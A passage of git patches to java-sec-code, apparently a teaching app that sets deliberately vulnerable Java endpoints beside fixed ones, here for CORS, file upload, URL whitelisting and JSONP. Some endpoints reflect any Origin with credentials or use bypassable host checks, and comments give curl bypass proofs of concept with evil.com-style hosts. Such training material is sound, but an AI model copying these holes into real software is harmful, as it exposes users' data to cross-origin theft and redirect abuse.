logger= LoggerFactory.getLogger(this.getClass()); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest)req; + HttpServletResponse response = (HttpServletResponse)res; + + String origin = request.getHeader("Origin"); + logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); + + // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 + if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) { + logger.error("[-] Origin check error."); + return; + } + + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 65681836..48573454 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,29 +18,29 @@ public class SecurityUtil { * * @param url 需要check的url * @param urlwhitelist url白名单list - * @return 安全url返回true,危险url返回false + * @return 安全url返回url,危险url返回null */ - public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { + public static String checkURLbyEndsWith(String url, String[] urlwhitelist) { if (null == url) { - return false; + return null; } try { URI uri = new URI(url); if (!url.startsWith("http://") && !url.startsWith("https://")) { - return false; + return null; } String host = uri.getHost().toLowerCase(); for (String whitelist: urlwhitelist){ if (host.endsWith("." + whitelist)) { - return true; + return url; } } - return false; + return null; } catch (Exception e) { - return false; + return null; } } @@ -75,9 +75,9 @@ public static boolean checkSSRFWithoutRedirect(String url) { * * @param url The url that needs to check. * @param hostWlist host whitelist - * @return Safe url returns true. Dangerous url returns false. + * @return Safe url returns url. Dangerous url returns null. */ - public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) { + public static String checkSSRFByHostWlist(String url, String[] hostWlist) { return checkURLbyEndsWith(url, hostWlist); } diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index e3a3d25e..b57838db 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -10,6 +10,7 @@

CmdInject   JSONP   + Cors   PathTraversal   SqlInject   SSRF   From 85eb3b9cc51ee43bc410debacd2c18cd1c1375ed Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 26 Dec 2019 23:28:41 +0800 Subject: [PATCH 06/38] update cors security code --- .../java/org/joychou/config/CorsConfig.java | 29 --------- .../java/org/joychou/config/CorsConfig2.java | 2 +- .../org/joychou/config/CustomCorsConfig.java | 49 +++++++++++++++ .../java/org/joychou/controller/Cors.java | 57 +++++++++++++----- ...SecCorsFilter.java => BaseCorsFilter.java} | 11 ++-- .../java/org/joychou/filter/OriginFilter.java | 11 ++-- .../joychou/security/CustomCorsProcessor.java | 60 +++++++++++++++++++ .../joychou/security/WebSecurityConfig.java | 6 +- src/main/resources/templates/index.html | 2 +- 9 files changed, 168 insertions(+), 59 deletions(-) delete mode 100644 src/main/java/org/joychou/config/CorsConfig.java create mode 100644 src/main/java/org/joychou/config/CustomCorsConfig.java rename src/main/java/org/joychou/filter/{SecCorsFilter.java => BaseCorsFilter.java} (74%) create mode 100644 src/main/java/org/joychou/security/CustomCorsProcessor.java diff --git a/src/main/java/org/joychou/config/CorsConfig.java b/src/main/java/org/joychou/config/CorsConfig.java deleted file mode 100644 index 8125e518..00000000 --- a/src/main/java/org/joychou/config/CorsConfig.java +++ /dev/null @@ -1,29 +0,0 @@ -package org.joychou.config; - -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.web.servlet.config.annotation.CorsRegistry; -import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; - - -@Configuration -public class CorsConfig -{ - @Bean - public WebMvcConfigurer corsConfigurer() - { - return new WebMvcConfigurerAdapter() { - @Override - public void addCorsMappings(CorsRegistry registry) { - // 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 - String[] allowOrigins = {"http://test.joychou.org", "https://test.joychou.org"}; - - registry.addMapping("/cors/sec/webMvcConfigurer") - .allowedOrigins(allowOrigins) - .allowedMethods("GET", "POST") - .allowCredentials(true); - } - }; - } -} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java index 382f6ba7..6c1a8ef8 100644 --- a/src/main/java/org/joychou/config/CorsConfig2.java +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -26,4 +26,4 @@ // bean.setOrder(0); // return bean; // } -//} +//} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java new file mode 100644 index 00000000..d18a285e --- /dev/null +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -0,0 +1,49 @@ +package org.joychou.config; + +import org.joychou.security.CustomCorsProcessor; +import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +@Configuration +public class CustomCorsConfig extends WebMvcRegistrationsAdapter { + + /** + * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + */ + @Bean + public WebMvcConfigurer corsConfigurer() { + return new WebMvcConfigurerAdapter() { + @Override + public void addCorsMappings(CorsRegistry registry) { + // 支持一级域名,因为重写了checkOrigin + String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; + registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path + .allowedOrigins(allowOrigins) + .allowedMethods("GET", "POST") + .allowCredentials(true); + } + }; + } + + + @Override + public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { + return new CustomRequestMappingHandlerMapping(); + } + + + /** + * 自定义Cors处理器 + * 自定义校验origin,支持一级域名校验 && 多级域名 + */ + private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping { + private CustomRequestMappingHandlerMapping() { + setCorsProcessor(new CustomCorsProcessor()); + } + } +} diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java index db526a72..adb069a9 100644 --- a/src/main/java/org/joychou/controller/Cors.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -11,20 +11,20 @@ import javax.servlet.http.HttpServletResponse; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.10.24 - * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS + * @author JoyChou (joychou@joychou.org) @2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/CORS */ @RestController @RequestMapping("/cors") public class Cors { - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; + private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; + private static String[] urlwhitelist = {"joychou.org", "joychou.me"}; + @RequestMapping("/vuln/origin") - private static String vuls1(HttpServletRequest request, HttpServletResponse response) { + public static String vuls1(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie @@ -32,7 +32,7 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp } @RequestMapping("/vuln/setHeader") - private static String vuls2(HttpServletResponse response) { + public static String vuls2(HttpServletResponse response) { // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); return info; @@ -41,40 +41,67 @@ private static String vuls2(HttpServletResponse response) { @CrossOrigin("*") @RequestMapping("/vuln/crossOrigin") - private static String vuls3(HttpServletResponse response) { + public static String vuls3() { + return info; + } + + + /** + * 重写Cors的checkOrigin校验方法 + * 支持自定义checkOrigin,让其额外支持一级域名 + * 代码:org/joychou/security/CustomCorsProcessor + */ + @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) + @RequestMapping("/sec/crossOrigin") + public static String secCrossOrigin() { return info; } - // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java + /** + * WebMvcConfigurer设置Cors + * 支持自定义checkOrigin + * 代码:org/joychou/config/CorsConfig.java + */ @RequestMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01(CsrfToken token) { return token; } - // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java + /** + * spring security设置cors + * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 + * 代码:org/joychou/security/WebSecurityConfig.java + */ @RequestMapping("/sec/httpCors") public CsrfToken getCsrfToken_02(CsrfToken token) { return token; } - // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java - @RequestMapping("/sec/corsFitler") + /** + * 自定义filter设置cors + * 支持自定义checkOrigin + * 代码:org/joychou/filter/OriginFilter.java + */ + @RequestMapping("/sec/originFilter") public CsrfToken getCsrfToken_03(CsrfToken token) { return token; } - // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java - @RequestMapping("/sec/Filter") + /** + * CorsFilter设置cors。 + * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 + * 代码:org/joychou/filter/BaseCorsFilter.java + */ + @RequestMapping("/sec/corsFilter") public CsrfToken getCsrfToken_04(CsrfToken token) { return token; } - // http://localhost:8080/cors/sec/checkOrigin @RequestMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); diff --git a/src/main/java/org/joychou/filter/SecCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java similarity index 74% rename from src/main/java/org/joychou/filter/SecCorsFilter.java rename to src/main/java/org/joychou/filter/BaseCorsFilter.java index 67493cb0..9987464f 100644 --- a/src/main/java/org/joychou/filter/SecCorsFilter.java +++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java @@ -9,27 +9,26 @@ /** * 由于CorsFilter和spring security冲突,所以改为下面的代码。 - * CorsFilter可以参考config/CorsConfig2的代码。 */ @Component @Order(Ordered.HIGHEST_PRECEDENCE) -public class SecCorsFilter extends CorsFilter { +public class BaseCorsFilter extends CorsFilter { - public SecCorsFilter() { + public BaseCorsFilter() { super(configurationSource()); } private static UrlBasedCorsConfigurationSource configurationSource() { CorsConfiguration config = new CorsConfiguration(); config.setAllowCredentials(true); - config.addAllowedOrigin("http://test.joychou.org"); - config.addAllowedOrigin("https://test.joychou.org"); + config.addAllowedOrigin("joychou.org"); // 不支持 + config.addAllowedOrigin("http://test.joychou.me"); config.addAllowedHeader("*"); config.addAllowedMethod("GET"); config.addAllowedMethod("POST"); UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); - source.registerCorsConfiguration("/cors/sec/corsFitler", config); + source.registerCorsConfiguration("/cors/sec/corsFilter", config); return source; } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 5f10c1a1..55ebf4a3 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -11,13 +11,13 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; + /** * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 * @author JoyChou @ 2019.12.19 - * + * */ - -@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter") +@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") public class OriginFilter implements Filter { private static String[] urlwhitelist = {"joychou.org", "joychou.me"}; @@ -41,7 +41,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) { - logger.error("[-] Origin check error."); + logger.error("[-] Origin check error. " + "Origin: " + origin + + "\tCurrent url:" + request.getRequestURL()); + response.setStatus(response.SC_FORBIDDEN); + response.getWriter().println("Invaid cors config by joychou."); return; } diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java new file mode 100644 index 00000000..45e0451a --- /dev/null +++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java @@ -0,0 +1,60 @@ +package org.joychou.security; + +import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.CollectionUtils; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.DefaultCorsProcessor; + +import java.util.List; + +public class CustomCorsProcessor extends DefaultCorsProcessor { + + private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class); + + + /** + * 跨域请求,会通过此方法检测请求源是否被允许 + * + * @param config CORS 配置 + * @param requestOrigin 请求源 + * @return 如果请求源被允许,返回请求源;否则返回 null + */ + @Override + protected String checkOrigin(CorsConfiguration config, String requestOrigin) { + + // 支持checkOrigin原装的域名配置 + String result = super.checkOrigin(config, requestOrigin); + if (result != null) { + return result; + } + + List allowedOrigins = config.getAllowedOrigins(); + if (StringUtils.isBlank(requestOrigin) + || CollectionUtils.isEmpty(allowedOrigins)) { + return null; + } + + return customCheckOrigin(allowedOrigins, requestOrigin); + } + + + /** + * 用host的endsWith来校验requestOrigin + */ + private String customCheckOrigin(List allowedOrigins, String requestOrigin) { + + // list转String[] + String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]); + + if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) { + logger.info("[+] Origin: " + requestOrigin ); + return requestOrigin; + } + logger.error("[-] Origin: " + requestOrigin ); + return null; + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 684e5513..27a332c3 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -62,7 +62,7 @@ protected void configure(HttpSecurity http) throws Exception { .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); - // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());« http.cors(); @@ -85,8 +85,8 @@ CorsConfigurationSource corsConfigurationSource() { // Set cors origin white list ArrayList allowOrigins = new ArrayList(); - allowOrigins.add("http://test.joychou.org"); - allowOrigins.add("https://test.joychou.org"); // 区分http和https,并且默认不会拦截同域请求。 + allowOrigins.add("joychou.org"); + allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。 CorsConfiguration configuration = new CorsConfiguration(); configuration.setAllowedOrigins(allowOrigins); diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index b57838db..18933862 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -10,7 +10,7 @@

CmdInject   JSONP   - Cors   + Cors   PathTraversal   SqlInject   SSRF   From 9dd930e8a34c5145c970296ed8f5b40083e4f77d Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 17 Jan 2020 10:44:30 +0800 Subject: [PATCH 07/38] update some bugs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 年前最后一次commit --- .../java/org/joychou/config/WebConfig.java | 57 ++++++++-- .../org/joychou/controller/FileUpload.java | 37 +++++-- .../org/joychou/controller/URLWhiteList.java | 103 ++++++++---------- .../org/joychou/controller/jsonp/JSONP.java | 58 +++++----- .../java/org/joychou/filter/JsonpFilter.java | 102 +++++++++++++++++ .../java/org/joychou/filter/OriginFilter.java | 2 +- .../{HttpFilter.java => ReferFilter.java} | 45 ++++---- src/main/java/org/joychou/util/WebUtils.java | 7 ++ src/main/resources/application.properties | 9 +- src/main/resources/templates/index.html | 1 + 10 files changed, 293 insertions(+), 128 deletions(-) create mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java rename src/main/java/org/joychou/filter/{HttpFilter.java => ReferFilter.java} (62%) diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java index cd4770d4..96d7f0f5 100644 --- a/src/main/java/org/joychou/config/WebConfig.java +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -12,30 +12,59 @@ @Component public class WebConfig { - private static Boolean referSecEnabled = false; private static String[] callbacks; + private static Boolean jsonpReferCheckEnabled = false; + private static String[] jsonpRefererHost; private static String[] referWhitelist; private static String[] referUris; + private static Boolean referSecEnabled = false; + private static String businessCallback; - @Value("${joychou.security.referer.enabled}") - public void setReferSecEnabled(Boolean referSecEnabled){ - WebConfig.referSecEnabled = referSecEnabled; + /** + * application.properties里object自动转jsonp的referer校验开关 + * @param jsonpReferCheckEnabled jsonp校验开关 + */ + @Value("${joychou.security.jsonp.referer.check.enabled}") + public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){ + WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled; } - public static Boolean getReferSecEnabled(){ - return referSecEnabled; + public static Boolean getJsonpReferCheckEnabled(){ + return jsonpReferCheckEnabled; } @Value("${joychou.security.jsonp.callback}") - public void setCallbacks(String[] callbacks){ + public void setJsonpCallbacks(String[] callbacks){ WebConfig.callbacks = callbacks; } - public static String[] getCallbacks(){ + public static String[] getJsonpCallbacks(){ return callbacks; } - @Value("${joychou.security.referer.hostwhitelist}") + /** + * application.properties里object自动转jsonp的referer白名单域名 + * @param jsonpRefererHost 白名单域名,仅支持一级域名 + */ + @Value("${joychou.security.jsonp.referer.host}") + public void setJsonpReferWhitelist(String[] jsonpRefererHost){ + WebConfig.jsonpRefererHost = jsonpRefererHost; + } + public static String[] getJsonpReferWhitelist(){ + return jsonpRefererHost; + } + + + @Value("${joychou.security.referer.enabled}") + public void setReferSecEnabled(Boolean referSecEnabled){ + WebConfig.referSecEnabled = referSecEnabled; + } + public static Boolean getReferSecEnabled(){ + return referSecEnabled; + } + + + @Value("${joychou.security.referer.host}") public void setReferWhitelist(String[] referWhitelist){ WebConfig.referWhitelist = referWhitelist; } @@ -52,4 +81,14 @@ public void setReferUris(String[] referUris) public static String[] getReferUris(){ return referUris; } + + + @Value("${joychou.business.callback}") + public void setBusinessCallback(String businessCallback){ + WebConfig.businessCallback = businessCallback; + } + public static String getBusinessCallback(){ + return businessCallback; + } + } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index ac378219..77388816 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -1,6 +1,8 @@ package org.joychou.controller; import com.fasterxml.uuid.Generators; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -23,7 +25,7 @@ /** * @author JoyChou (joychou@joychou.org) * @date 2018.08.15 - * @desc Java file upload + * @desc File upload */ @Controller @@ -32,6 +34,7 @@ public class FileUpload { // Save the uploaded file to this folder private static String UPLOADED_FOLDER = "/tmp/"; + private final Logger logger= LoggerFactory.getLogger(this.getClass()); @GetMapping("/") public String index() { @@ -80,14 +83,13 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile, return "redirect:/file/status"; } - // get suffix String fileName = multifile.getOriginalFilename(); - String Suffix = fileName.substring(fileName.lastIndexOf(".")); - + String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 + String mimeType = multifile.getContentType(); // 获取MIME类型 File excelFile = convert(multifile); - // security check - String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; + // 判断文件后缀名是否在白名单内 + String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; // 后缀名白名单 Boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { @@ -95,7 +97,28 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile, break; } } - if ( !suffixFlag || !isImage(excelFile) ) { + + if (!suffixFlag) { + logger.error("[-] Suffix error: " + Suffix); + } + + String mimeTypeBlackList[] = {"text/html"}; // 不允许传html + + Boolean mimeBlackFlag = false; + for (String blackMimeType : mimeTypeBlackList) { + if (mimeType.equalsIgnoreCase(blackMimeType) ) { + mimeBlackFlag = true; + logger.error("[-] Mime type error: " + mimeType); + break; + } + } + + boolean isImageFlag = isImage(excelFile); + + if( !isImageFlag ){ + logger.error("[-] File is not Image"); + } + if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) { redirectAttributes.addFlashAttribute("message", "illeagl picture"); deleteFile(excelFile); return "redirect:/file/status"; diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 94df0400..159351cb 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,11 +1,10 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; import java.net.URI; import java.net.URL; import java.util.ArrayList; @@ -20,22 +19,20 @@ * @version 2018.08.23 */ -@Controller +@RestController @RequestMapping("/url") public class URLWhiteList { private String domainwhitelist[] = {"joychou.org", "joychou.com"}; - + private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class); /** * bypass poc: bypassjoychou.org - * http://localhost:8080/url/endswith?url=http://aaajoychou.org + * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org * */ - @RequestMapping("/endswith") - @ResponseBody - public String endsWith(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); + @GetMapping("/vuln/endsWith") + public String endsWith(@RequestParam("url") String url) throws Exception{ URL u = new URL(url); String host = u.getHost().toLowerCase(); @@ -47,15 +44,15 @@ public String endsWith(HttpServletRequest request) throws Exception{ return "Bad url."; } + /** * bypass poc: joychou.org.bypass.com or bypassjoychou.org. - * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org + * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com + * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org * */ - @RequestMapping("/contains") - @ResponseBody - public String contains(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); + @GetMapping("/vuln/contains") + public String contains(@RequestParam("url") String url) throws Exception{ URL u = new URL(url); String host = u.getHost().toLowerCase(); @@ -70,13 +67,11 @@ public String contains(HttpServletRequest request) throws Exception{ /** * bypass poc: bypassjoychou.org. It's the same with endsWith. - * http://localhost:8080/url/regex?url=http://aaajoychou.org + * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org * */ - @RequestMapping("/regex") - @ResponseBody - public String regex(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); + @GetMapping("/vuln/regex") + public String regex(@RequestParam("url") String url) throws Exception{ URL u = new URL(url); String host = u.getHost().toLowerCase(); @@ -92,15 +87,14 @@ public String regex(HttpServletRequest request) throws Exception{ /** * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains. - * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org * */ - @RequestMapping("/indexof") - @ResponseBody - public String indexOf(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); + @GetMapping("/vuln/indexOf") + public String indexOf(@RequestParam("url") String url) throws Exception{ URL u = new URL(url); String host = u.getHost(); + // If indexOf returns -1, it means that no string was found. for (String domain: domainwhitelist){ if (host.indexOf(domain) != -1) { @@ -113,16 +107,14 @@ public String indexOf(HttpServletRequest request) throws Exception{ /** * The bypass of using java.net.URL to getHost. * - * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' - * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' + * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' * * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ - @RequestMapping("/url_bypass") - @ResponseBody - public String url_bypass(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - System.out.println("url: " + url); + @GetMapping("/vuln/url_bypass") + public String url_bypass(@RequestParam("url") String url) throws Exception{ + logger.info("url: " + url); URL u = new URL(url); if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { @@ -130,7 +122,7 @@ public String url_bypass(HttpServletRequest request) throws Exception{ } String host = u.getHost().toLowerCase(); - System.out.println("host: " + host); + logger.info("host: " + host); // endsWith . for (String domain: domainwhitelist){ @@ -145,18 +137,16 @@ public String url_bypass(HttpServletRequest request) throws Exception{ /** - * First-level host whitelist. - * http://localhost:8080/url/seccode1?url=http://aa.taobao.com + * 一级域名白名单 First-level host whitelist. + * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org * */ - @RequestMapping("/seccode1") - @ResponseBody - public String seccode1(HttpServletRequest request) throws Exception{ + @GetMapping("/sec/endswith") + public String sec_endswith(@RequestParam("url") String url) throws Exception{ - String whiteDomainlists[] = {"taobao.com", "tmall.com"}; - String url = request.getParameter("url"); + String whiteDomainlists[] = {"joychou.org", "joychou.com"}; - URI uri = new URI(url); + URI uri = new URI(url); // 必须用URI if (!url.startsWith("http://") && !url.startsWith("https://")) { return "SecurityUtil is not http or https"; } @@ -174,15 +164,13 @@ public String seccode1(HttpServletRequest request) throws Exception{ } /** - * Muti-level host whitelist. - * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com + * 多级域名白名单 Multi-level host whitelist. + * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org * */ - @RequestMapping("/seccode2") - @ResponseBody - public String seccode2(HttpServletRequest request) throws Exception{ - String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; - String url = request.getParameter("url"); + @GetMapping("/sec/multi_level_host") + public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{ + String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"}; URI uri = new URI(url); if (!url.startsWith("http://") && !url.startsWith("https://")) { @@ -199,21 +187,20 @@ public String seccode2(HttpServletRequest request) throws Exception{ return "Bad url."; } + /** - * Muti-level host whitelist. - * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com + * 多级域名白名单 Multi-level host whitelist. + * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org * */ - @RequestMapping("/seccode3") - @ResponseBody - public String seccode3(HttpServletRequest request) throws Exception{ + @GetMapping("/sec/array_indexOf") + public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{ // Define muti-level host whitelist. - ArrayList whiteDomainlists = new ArrayList(); - whiteDomainlists.add("bbb.taobao.com"); - whiteDomainlists.add("ccc.bbb.taobao.com"); + ArrayList whiteDomainlists = new ArrayList<>(); + whiteDomainlists.add("bbb.joychou.org"); + whiteDomainlists.add("ccc.bbb.joychou.org"); - String url = request.getParameter("url"); URI uri = new URI(url); if (!url.startsWith("http://") && !url.startsWith("https://")) { diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java index a5c9072f..da2474fa 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -10,6 +10,8 @@ import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.view.json.MappingJackson2JsonView; +import org.joychou.config.WebConfig; +import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; import java.security.Principal; @@ -22,12 +24,13 @@ * https://github.com/JoyChou93/java-sec-code/wiki/JSONP */ + @RestController @RequestMapping("/jsonp") public class JSONP { private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; - + private static String callback = WebConfig.getBusinessCallback(); // get current login username public static String getUserInfo2JsonStr(HttpServletRequest request) { @@ -44,54 +47,53 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) { /** * Set the response content-type to application/javascript. *

